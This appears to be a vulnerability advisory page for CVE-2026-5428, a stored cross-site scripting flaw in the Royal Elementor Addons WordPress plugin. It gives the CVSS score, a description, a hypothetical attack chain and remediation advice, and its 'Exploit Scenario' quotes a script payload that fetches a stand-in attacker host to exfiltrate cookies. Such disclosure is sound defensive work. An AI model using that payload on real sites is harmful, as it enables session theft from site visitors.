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Royal Elementor Addons CVE-2026-5428

| EUVD-2026-25400 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-24 Wordfence GHSA-f4r3-xfjm-5x8p
6.4
CVSS 3.1 · NVD
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Severity by source

NVD PRIMARY
6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Analysis Generated
Apr 24, 2026 - 06:30 vuln.today
EUVD ID Assigned
Apr 24, 2026 - 06:00 euvd
EUVD-2026-25400
Analysis Generated
Apr 24, 2026 - 06:00 vuln.today
CVE Published
Apr 24, 2026 - 05:29 nvd
MEDIUM 6.4

DescriptionCVE.org

The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. This is due to insufficient output escaping in the render_post_thumbnail() function, where wp_kses_post() is used instead of esc_attr() for the alt attribute context. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page with the malicious image displayed in the media grid widget.

AnalysisAI

Stored cross-site scripting in Royal Elementor Addons plugin for WordPress up to version 1.7.1056 allows authenticated attackers with Author-level access to inject arbitrary JavaScript via image alt attributes in the Image Grid/Slider/Carousel widget. The vulnerability results from insufficient output escaping in the render_post_thumbnail() function, where wp_kses_post() is used instead of esc_attr() for HTML attribute context. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain author-level WordPress account
Delivery
Access media library or page editor
Exploit
Create/edit image caption with script payload
Install
Place image in grid widget
C2
Payload persists in database
Execute
Script executes in visitor browsers
Impact
Exfiltrate cookies/tokens
Step 8
Escalate privileges or inject malware

Vulnerability AssessmentAI

Exploitation The attacker must possess authenticated WordPress account access with Author-level role or above (PR:L in CVSS vector). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents moderate real-world risk despite its 6.4 CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with legitimate Author-level access to a WordPress site (e.g., a compromised contributor account or malicious insider) uploads an image and uses the Royal Elementor Addons Image Grid widget to display it. The attacker injects JavaScript code such as `<img alt="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" />` into the image caption/alt field. …
Remediation Update Royal Elementor Addons to the latest patched version, available through the WordPress plugin repository at https://plugins.wordpress.org/royal-elementor-addons/. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-5428 vulnerability details – vuln.today

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